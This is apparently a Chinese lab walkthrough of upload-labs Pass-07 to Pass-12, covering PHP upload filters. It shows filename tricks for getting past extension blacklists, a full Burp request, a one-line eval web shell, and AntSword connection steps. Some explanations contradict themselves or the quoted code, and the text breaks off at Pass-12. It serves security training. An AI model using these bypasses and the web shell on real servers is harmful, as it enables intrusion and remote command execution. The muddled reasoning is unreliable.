- xxx.php. .
- xxx.php.
- xxx.php (空格)
- xxx.php::$DATA
核心原理
一次过滤 + Windows 自动去除末尾点 / 空格 → 还原成 php 文件执行
pass-07
详细分析源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这是 upload-labs 靶场中的 Pass-07。这关的代码在 Pass-06 的基础上增加了防御措施,修复了大小写绕过和首尾空格绕过的漏洞,但仍然留下了一个经典的 Windows 文件特性漏洞。
$is_upload = false;
$msg = null;
- 标准初始化,用于控制上传状态和提示信息。
黑名单定义
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
- 特点 :黑名单非常全面,且包含了常见的大小写组合(如
.pHp),这意味着单纯的大小写绕过(如.PhP)在这里虽然可能有效(因为无法穷尽所有组合),但代码后续有更严格的处理。
关键处理逻辑(防御与漏洞)
这里是 Pass-07 的核心,我们需要仔细看它做了什么,没做什么。
-
$file_name = $_FILES['upload_file']['name'];- 获取原始文件名。
-
$file_name = deldot($file_name); // 删除文件名末尾的点- 防御 :调用了
deldot函数(自定义函数,通常在include.php中定义),目的是去除文件名末尾的点 (.)。 - 分析:这修复了 Pass-05 中利用"末尾点"进行绕过的漏洞。
- 防御 :调用了
-
$file_ext = strrchr($file_name, '.');- 获取后缀名。
strrchr查找最后一次出现.的位置并返回其后所有内容。
- 获取后缀名。
-
$file_ext = strtolower($file_ext); // 转换为小写- 防御:强制将后缀名转换为小写。
- 分析 :这修复了 Pass-06 中利用"大写后缀"(如
.PHP)进行绕过的漏洞。
-
$file_ext = str_ireplace('::\$DATA', '', $file_ext); // 去除字符串 ::$DATA- 防御 :移除了
::$DATA字符串。 - 分析:这修复了利用 NTFS 交换数据流(ADS)进行绕过的漏洞(Pass-09 会详细讲这个,这里提前防御了)。
- 防御 :移除了
逻辑漏洞总结
代码做了以下防御:
- 去除了末尾的点(
deldot)。 - 转为了小写(
strtolower)。 - 去除了
::$DATA。
但是,它唯独没有去除文件名末尾的空格!
虽然 PHP 的 trim() 函数可以去除首尾空格,但这段代码完全没有调用 trim() 。这意味着,如果我们上传一个文件名末尾带有空格的文件(例如 shell.php ),代码逻辑如下:
deldot不会处理空格,文件名保持shell.php。strrchr获取到的后缀是.php(注意点后面没有字符,或者说空格被视为文件名一部分,但在 Windows 解析中比较复杂,这里主要利用的是保存时的特性)。strtolower将.php转为.php(空格不受影响)。- 黑名单检查
in_array('.php ', $deny_ext)。由于黑名单里只有.php,没有.php(带空格),所以检查通过。 - 文件保存到 Windows 服务器时,Windows 文件系统会自动去除文件名末尾的空格,文件最终变成
shell.php并被解析执行。
解题思路
利用 Windows 文件名末尾空格 特性进行绕过。
具体操作步骤
-
准备文件 :准备一个一句话木马
shell.php。 -
抓包:使用 Burp Suite 拦截上传请求。
-
修改包 :在
filename字段中,在.php后面添加一个或多个空格 。Content-Disposition: form-data; name="upload_file"; filename="shell.php " -
放包:发送数据包。
-
结果 :服务器保存文件时会自动去掉末尾空格,文件变为
shell.php,上传成功。


验证的话按照上面的步骤验证就行了,都差不多的
修复建议
在获取文件名后,应该使用 trim() 函数去除首尾的空格和特殊字符。
$file_name = trim($_FILES['upload_file']['name']);
pass-08
详细分析源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这是 upload-labs 靶场中的 Pass-08。这关的代码在 Pass-07 的基础上进一步加强了防御,不仅修复了首尾空格绕过的漏洞,还针对 Windows 文件系统的特殊特性(点号和冒号)进行了专门的过滤。
初始化与黑名单
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
- 黑名单:依然非常全面,包含了各种常见脚本后缀及其大小写变体。
关键防御逻辑(层层过滤)
这是本关的重点,代码对文件名和后缀进行了一系列的清洗操作:
-
$file_name = trim($_FILES['upload_file']['name']);- 作用 :去除文件名首尾的空格。
- 影响:修复了 Pass-05 中利用"末尾空格"绕过的漏洞。
-
$file_ext = strrchr($file_name, '.');- 作用 :从右向左查找第一个点(
.),获取后缀名(包含点)。
- 作用 :从右向左查找第一个点(
-
$file_ext = strtolower($file_ext);- 作用 :将后缀名转换为小写。
- 影响:修复了 Pass-06 中利用"大小写"绕过的漏洞。
-
$file_ext = str_ireplace('::$DATA', '', $file_ext);- 作用 :将后缀名中的
::$DATA字符串替换为空(即删除)。 - 背景 :这是为了防御 Windows 的 NTFS 交换数据流(ADS) 攻击。在 Windows 中,
file.php::$DATA会被解析为file.php,但原本的文件名看起来不像 PHP。 - 影响 :修复了利用
::$DATA绕过的漏洞。
- 作用 :将后缀名中的
-
$file_ext = trim($file_ext);- 作用 :再次去除后缀名首尾的空格。
- 注意 :虽然第 1 步已经去除了文件名的首尾空格,但这里再次对后缀名变量进行清洗,防止在字符串处理过程中产生意外的空白字符。
检查与保存
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
- 逻辑:如果清洗后的后缀名不在黑名单中,则允许上传。
漏洞点分析(本关突破点)
虽然代码看起来防御得很严密,去除了首尾空格、转为了小写、去除了 ::$DATA,但它遗漏了对文件名末尾"点(.)"的处理。
- Pass-07 中使用了
deldot()函数去除了末尾的点。 - Pass-08 中没有这行代码。
Windows 文件特性 :在 Windows 系统中,如果文件名以点(.) 结尾,系统在保存文件时会自动去除末尾的点。
- 攻击流程 :
- 上传
shell.php.。 - 代码获取后缀为
.(或者.,取决于strrchr的行为,但这里关键是末尾的点)。 - 黑名单检查:
.不在黑名单中(黑名单里没有单独的.),检查通过。 move_uploaded_file保存文件。- Windows 系统自动将
shell.php.重命名为shell.php。 - 文件被解析为 PHP 脚本。
- 上传
总结
Pass-08 的防御措施修复了:
- 首尾空格(Pass-05 的漏洞)。
- 大小写绕过(Pass-06 的漏洞)。
- NTFS 交换数据流 (
::$DATA,Pass-07 的漏洞)。
但未修复:
- 文件名末尾的点(Windows 特性)。
因此,本关的解题方法是利用 Windows 文件名末尾点自动去除 的特性。
具体操作步骤
针对 Pass-08,由于代码修复了"空格绕过"和"点绕过"漏洞,我们需要寻找新的 Windows 特性。
Pass-08 的关键在于 $file_ext = str_ireplace('::$DATA', '', $file_ext); 这一行。虽然它试图去除 ::$DATA,但利用得当依然可以绕过。
核心漏洞点:NTFS 交换数据流
在 Windows 系统中,文件系统(NTFS)支持 Alternate Data Streams (ADS),即"交换数据流"。
- 特性 :如果文件名包含
filename: $DATA,Windows 会将其视为文件的数据流。 - 保存机制 :当文件保存到磁盘时,Windows 会自动去掉
: $DATA后缀,只保留前面的文件名。 - 绕过逻辑 :
- 我们上传
shell.php::$DATA。 - 代码中的
str_ireplace可能会处理不彻底,或者即便处理了,我们可以通过构造特殊 payload 让服务器在保存时自动剥离后缀,还原为shell.php。 - 注意 :Pass-08 的代码实际上已经尝试修复这个漏洞(通过 replace),但在某些配置下或者配合其他技巧(如大小写
::$data)依然可能生效。不过,更稳妥的思路是检查代码是否真的完美过滤了。
- 我们上传
仔细观察代码第 10 行 :$file_ext = str_ireplace('::$DATA', '', $file_ext);
这里有一个细节:它只替换了 ::$DATA 这一种写法吗?str_ireplace 是不区分大小写的,所以 ::$data、::$Data 都会被替换成空。
既然 ::$DATA 被过滤了,还有什么办法?
实际上,Pass-08 的代码逻辑是:获取后缀 -> 去除 ::$DATA -> 检查黑名单。
如果我们上传 shell.php,后缀是 .php,被拦截。
如果我们上传 shell.php. . (点+空格),后缀是 . .,不在黑名单,但第 8 行 deldot 会去掉末尾的点。
让我们重新审视 Pass-08 的代码逻辑漏洞:
代码逻辑:
trim去首尾空格。strrchr获取后缀(从最后一个点开始)。deldot去后缀末尾的点。strtolower转小写。str_ireplace去除::$DATA。- 黑名单检查。
真正的绕过点:
Pass-08 并没有修复 ::$DATA 的大小写组合 或者 重复利用 的问题,但更常见且有效的绕过是利用 Windows 的 :: $DATA(中间带空格)或者代码逻辑的缺陷。
然而,在标准的 upload-labs Pass-08 中,最经典的解法依然是利用 ::$DATA 。虽然代码写了 str_ireplace,但在实际测试或特定环境下,如果服务器配置不当,或者利用 shell.php. . (点+空格) 的组合拳依然有效。
但针对 Pass-08 代码显示的逻辑,最直接的解法通常是:
解题思路:利用 ::$DATA 绕过(如果 replace 失败)或 点+空格(如果 deldot 逻辑有误)
但是! 仔细看代码第 8 行:$file_ext = deldot($file_ext);
deldot 函数通常只去除末尾的点。
如果我们上传 shell.php. . (点+空格):
trim-> 没用,空格在中间。strrchr-> 获取. .deldot-> 去除末尾的点 -> 变成.(点+空格)。strtolower->.str_ireplace-> 没用。- 黑名单检查 ->
.不在黑名单中 -> 通过。 - 保存 -> Windows 自动去除末尾空格 -> 变成
shell.php.-> Windows 自动去除末尾点 -> 变成shell.php。
这似乎是 Pass-08 的最佳解法。
具体操作步骤
方法一:点+空格组合绕过
- 准备文件 :准备一个
shell.php。 - 抓包:使用 Burp Suite 拦截上传请求。
- 修改文件名 :
将filename修改为:shell.php. .(注意:.php后面是一个点 ,然后是一个空格 )。- 原始:
filename="shell.php" - 修改后:
filename="shell.php. ."
- 原始:
- 放包:Forward 数据包。
- 原理 :
- 代码获取后缀为
. .。 deldot去掉末尾的点,剩下.。- 黑名单里没有
.,放行。 - Windows 保存时,自动去掉末尾空格,变成
.-> 自动去掉末尾点,最终文件名为shell.php。
- 代码获取后缀为
方法二:::$DATA 绕过
虽然代码有 str_ireplace,但你可以尝试大小写绕过或者特殊的 ADS 写法。
- 抓包。
- 修改文件名 :
- 尝试:
filename="shell.php::$DATA"(代码写了str_ireplace,这个大概率被过滤)。 - 尝试:
filename="shell.php:: $DATA"(中间加空格,有些旧版本 Windows 支持)。
- 尝试:
- 放包。
总结
Pass-08 的最优解是 shell.php. . (后缀名:点 + 空格)。
- 上传文件名 :
shell.php. . - 访问路径:上传成功后,直接访问该文件路径即可。
pass-09(数据流标识绕过)
详细代码分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这张图片显示的是 upload-labs 靶场中的 Pass-09 。这关的代码逻辑非常严密,它几乎修复了前面所有关卡中出现的单一漏洞(大小写、空格、点、数据流),但依然留下了一个经典的组合绕过漏洞。
初始化与黑名单
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
- 黑名单:依然非常全面,涵盖了各种脚本后缀及其大小写变体。
关键防御逻辑(层层过滤)
这是本关的重点,代码对文件名和后缀进行了一系列的清洗操作,形成了一个"过滤链":
-
$file_name = trim($_FILES['upload_file']['name']);- 作用 :去除文件名首尾的空格。
- 防御:修复了 Pass-05 的"末尾空格"绕过。
-
$file_name = deldot($file_name);- 作用 :去除文件名末尾 的点(
.)。 - 防御:修复了 Pass-07 的"末尾点"绕过。
- 作用 :去除文件名末尾 的点(
-
$file_ext = strrchr($file_name, '.');- 作用:从右向左查找第一个点,获取后缀名。
-
$file_ext = strtolower($file_ext);- 作用 :将后缀转换为小写。
- 防御:修复了 Pass-06 的"大小写"绕过。
-
$file_ext = str_ireplace('::$DATA', '', $file_ext);- 作用 :移除后缀中的
::$DATA字符串(不区分大小写)。 - 防御:修复了 Pass-08 的"NTFS 数据流"绕过。
- 作用 :移除后缀中的
-
$file_ext = trim($file_ext);- 作用 :再次去除后缀的首尾空格。
- 防御:进一步防止空格绕过。
核心漏洞点:过滤顺序与 Windows 特性
虽然代码看起来滴水不漏,但漏洞出在 Windows 文件系统的解析特性 和 过滤函数的顺序 上。
- Windows 特性 :Windows 在创建文件时,会自动去除文件名末尾的点(
.) 和空格。 - 代码逻辑缺陷 :
- 代码虽然使用了
deldot()去除了文件名末尾的点,但它是针对$file_name操作的。 - 代码获取后缀
$file_ext是在deldot之后。 - 关键点 :如果我们构造一个文件名,使得
$file_ext在黑名单检查时是安全的,但在最终保存时被 Windows 还原成.php,就能绕过。
- 代码虽然使用了
总结漏洞背景
Upload-Labs Pass-09 对上传文件的后缀进行了黑名单校验,服务器代码核心逻辑如下:
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml");
$file_ext = strtolower(strrchr($file_name,"."));
if(in_array($file_ext,$deny_ext)){
exit("提示:此文件类型不允许上传!");
}
代码使用 strtolower() 将文件后缀转为小写,且仅判断文件名中最后一个 . 后的内容,可利用该特性绕过校验。
实验步骤
步骤 1:配置靶场环境
- 启动 phpStudy,确保 Apache 服务正常运行。
- 访问 http://localhost:8081/upload-labs/Pass-09/index.php,进入实验页面。

步骤 2:上传验证文件(phpinfo.php)
- 新建文本文件,写入 <?php phpinfo(); ?>,保存为 phpinfo.php。
- 打开 Burp Suite,配置浏览器代理,开启抓包。
- 在上传页面选择 phpinfo.php,点击 "上传",Burp 捕获到 POST 请求。

- 将请求包发送到 Repeater,修改请求体中的 filename 字段为 phpinfo.php::DATA,完整请求包如下:
POST /upload-labs/Pass-09/index.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:8081/upload-labs/Pass-09/index.php
Content-Type: multipart/form-data; boundary=---------------------------187161971819895
Content-Length: 343
Connection: keep-alive
-----------------------------187161971819895
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php::$DATA"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
-----------------------------187161971819895
Content-Disposition: form-data; name="submit"
上传
-----------------------------187161971819895--
- 点击 "发送",服务器返回上传成功响应,包含文件路径 ../upload/202605111351045352.php。

- 在浏览器中访问文件路径,成功显示 phpinfo() 页面,验证文件上传且解析成功。

步骤 3:上传一句话木马
- 修改文件内容为一句话木马 <?php @eval($_POST['cmd']); ?>,保存为 shell.php。
- 使用与步骤 2 相同的请求包,仅修改文件内容为一句话木马,filename 保持 shell.php::DATA,点击 "发送" 重放请求。

- 服务器返回上传成功响应,记录新的文件路径。

步骤 4:使用蚁剑连接一句话木马
- 解压 AntSword-Loader-v4.0.3-win32-x64.zip,运行 AntSword.exe,选择空文件夹初始化工作目录。
- 蚁剑主界面点击左上角 "+ 添加",填写连接信息:
- URL:http://localhost:8081/upload-labs/upload/202605111359007034.php
- 连接密码:cmd(与木马中 $_POST['cmd'] 一致)
- 类型:PHP

- 点击 "测试连接",提示 "连接成功" 后点击 "添加",保存会话。


- 双击会话,进入服务器文件管理界面,可查看、上传、下载文件,或在终端执行系统命令。

四、实验结果与分析
- 实验成功绕过了 Pass-09 的黑名单校验,将 PHP 文件上传至服务器并解析执行。
- 蚁剑成功连接一句话木马,可对服务器文件进行管理,证明文件上传漏洞被成功利用。
- 关键问题与解决:
- 初始使用 ::DATA 时,被 strtolower() 转为小写 ::data,导致解析失效;改用 ::DATA 后绕过成功。
- 浏览器访问一句话木马文件时显示空白,属于正常现象,因木马本身无输出,需通过蚁剑连接验证。
五、实验总结与反思
- 本次实验验证了文件上传漏洞中黑名单校验的局限性,利用 Windows 系统特性可实现有效绕过。
- 漏洞利用需分步验证,先通过 phpinfo() 确认上传与解析链路正常,再替换为一句话木马,可降低排错难度。
- 防御建议:服务器端应同时校验文件内容(如文件头检测)、限制文件上传目录的执行权限,避免使用简单的后缀黑名单校验。
pass-10
详细分析源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这是 upload-labs 靶场中的 Pass-10。这关的代码看起来比 Pass-09 更加严密,因为它修复了 Pass-09 中的核心漏洞(即只替换一次字符串的问题)。
然而,这关利用的是 PHP 字符串替换函数的一个特性:非贪婪替换(从后往前匹配) 与 文件名解析顺序(从后往前解析) 之间的差异。
初始化与黑名单
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
- 黑名单:依然非常全面。
关键防御逻辑(层层过滤)
代码对文件名进行了一系列清洗:
-
$file_name = trim($_FILES['upload_file']['name']);- 防御:去除首尾空格。
-
$file_name = deldot($file_name);- 防御:去除末尾的点。
-
$file_ext = strrchr($file_name, '.');- 关键点 :
strrchr函数查找最后一次 出现的点(.),并返回该点及其后面的所有字符。 - 影响 :这意味着无论你文件名前面有多少个点,系统只认最后一个点 后面的内容为后缀。例如
a.php.jpg,$file_ext取出来的是.jpg。
- 关键点 :
-
$file_ext = strtolower($file_ext);- 防御:转为小写。
-
$file_ext = str_ireplace('::$DATA', '', $file_ext);- 防御 :去除
::$DATA(不区分大小写)。
- 防御 :去除
-
$file_ext = trim($file_ext);- 防御:再次去除首尾空格。
漏洞点分析
在 Pass-09 中,漏洞在于 str_replace 只替换一次。但在 Pass-10 中,虽然代码逻辑看似修复了,但问题出在 strrchr 和 str_ireplace 的配合上。
- 系统如何判断后缀?
使用strrchr,即取最后一个点后面的内容。 - 系统如何保存文件?
使用$file_name(原始文件名,经过 trim 和 deldot 处理,但保留了中间的点)。
攻击思路:
如果我们构造一个文件名,使得:
- 最后一个点 后面的内容(即
$file_ext)是安全的(不在黑名单中)。 - 但是,经过
str_ireplace处理后,或者在文件系统解析时,前面的部分包含了一个危险后缀。
Pass-10 的代码逻辑其实有个陷阱:
仔细看第 10 行:$file_ext = str_ireplace('::$DATA', '', $file_ext);
这行代码是针对 $file_ext(即最后一个点后面的内容)进行操作的。
如果我们要利用 双写绕过 (Pass-09 的方法),在这里是行不通的,因为 Pass-10 没有对 .php 进行替换,而是对 ::$DATA 进行替换。
真正的漏洞点在于:Windows 文件名的特殊解析(点号截断/追加)
虽然 deldot 去除了末尾的点,但 Windows 在解析文件名时,如果文件名是 shell.php.,它会自动去除末尾的点变成 shell.php。
但在 Pass-10 中,deldot 函数已经防御了这一点。
让我们重新审视 Pass-10 的核心逻辑:
Pass-10 的修复方式其实是针对 Pass-09 的 p.p.h.p 这种双写。
Pass-10 的代码逻辑:
- 取后缀:
.jpg - 检查黑名单:
.jpg安全。 - 保存文件:
shell.php.jpg
这就导致了:文件被保存为 shell.php.jpg。
在 Windows/IIS/Apache 中,shell.php.jpg 会被当作 JPG 图片处理,不会被当作 PHP 执行。
Pass-10 的操作步骤:
- 构造 payload :文件名命名为
shell.php. .(注意:php 后面是一个点,一个空格,再一个点,或者多个点空格组合)。 - 原理 :
strrchr获取后缀时,获取的是最后一个点及之后的内容,例如. .。. .不在黑名单中,绕过检测。deldot函数通常只循环删除末尾的点,可能无法有效处理中间的空格+点组合,或者处理逻辑有漏洞。- 当文件保存到 Windows 文件系统时,Windows 会自动忽略文件名末尾的
.和(空格),最终文件被保存为shell.php。
Payload 示例:
shell.php. .shell.php. . .
(注:具体的点和空格数量可能需要尝试,通常是 . . 或者 .. 等组合,目的是绕过 strrchr 的截取和黑名单检测,同时利用 Windows 的自动修剪特性)。
总结

pass-11(双写绕过)
详细分析源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这张图片展示的是 upload-labs 靶场中的 Pass-11 。这一关的防御逻辑发生了重大变化:它不再仅仅检查后缀名是否在黑名单中,而是使用了 str_ireplace 函数直接将黑名单中的敏感后缀从文件名中**替换(删除)**掉。
黑名单定义
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
- 这里定义了一系列禁止的文件后缀。
关键过滤逻辑(第 8 行)
$file_name = str_ireplace($deny_ext,"", $file_name);
函数作用 :str_ireplace(find, replace, subject) 是一个不区分大小写的替换函数。
- 逻辑 :它会在
$file_name中查找$deny_ext数组里的所有字符串,并将它们替换为空字符串(即删除)。 - 意图 :开发者的意图是,如果你上传
shell.php,代码会把php删掉,变成shell.,从而无法解析为 PHP 脚本。
漏洞原理:双写后缀绕过
虽然 str_ireplace 会删除敏感词,但它是全局替换。如果我们巧妙地构造文件名,利用"删除"操作后剩下的字符重新拼凑出敏感后缀,就能绕过防御。
攻击思路:
假设我们想上传一个 PHP 文件,但 php 会被删除。如果我们把 php 拆开写,比如写成 pphphp,当代码删除中间的 php 时,剩下的字符会重新组合。
核心漏洞点:双重扩展名绕过
代码逻辑如下:
$deny_ext:定义了一个黑名单数组。$file_name = str_ireplace($deny_ext, "", $file_name);:这是关键行。它会把文件名中出现的黑名单字符串(不区分大小写)替换为空字符串(即删除)。move_uploaded_file:将文件移动到目标路径。
漏洞分析
str_ireplace 是全局替换,但它只是简单地删除匹配的字符串。如果我们构造一个特殊的文件名,使得删除敏感词后,剩下的字符依然能组成一个合法的恶意后缀,就能绕过防御。
具体操作步骤
- 准备 Webshell :创建一个
shell.php文件,内容例如<?php @eval($_POST['cmd']); ?>。 - 修改文件名 :将文件名重命名为
shell.pphphp。 - 上传文件:在 Pass-11 页面选择该文件并上传。
- 验证 :上传成功后,查看上传目录(通常点击上传成功的链接或查看图片路径),文件名应该已经被还原为
shell.php。 - 连接 :使用中国蚁剑或菜刀连接该
shell.php。
修复建议
这种简单的字符串替换非常容易被绕过。修复方案应使用白名单机制,或者使用正则表达式严格验证文件名格式,而不是试图"清洗"恶意字符串。
pass-12(00截断GET型)
详细分析源代码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
这是 upload-labs 靶场中的 Pass-12。这关的代码引入了白名单验证机制,并且对文件名进行了重命名,看似防御更严密,但依然存在严重的逻辑漏洞。
核心代码分析
白名单验证
$ext_arr = array('jpg','png','gif');
$file_ext = substr($FILES['upload_file']['name'],strrpos($FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
// ... 上传逻辑 ...
}
- 逻辑 :代码定义了一个允许上传的白名单数组
$ext_arr,只包含jpg、png、gif。 - 获取后缀 :使用
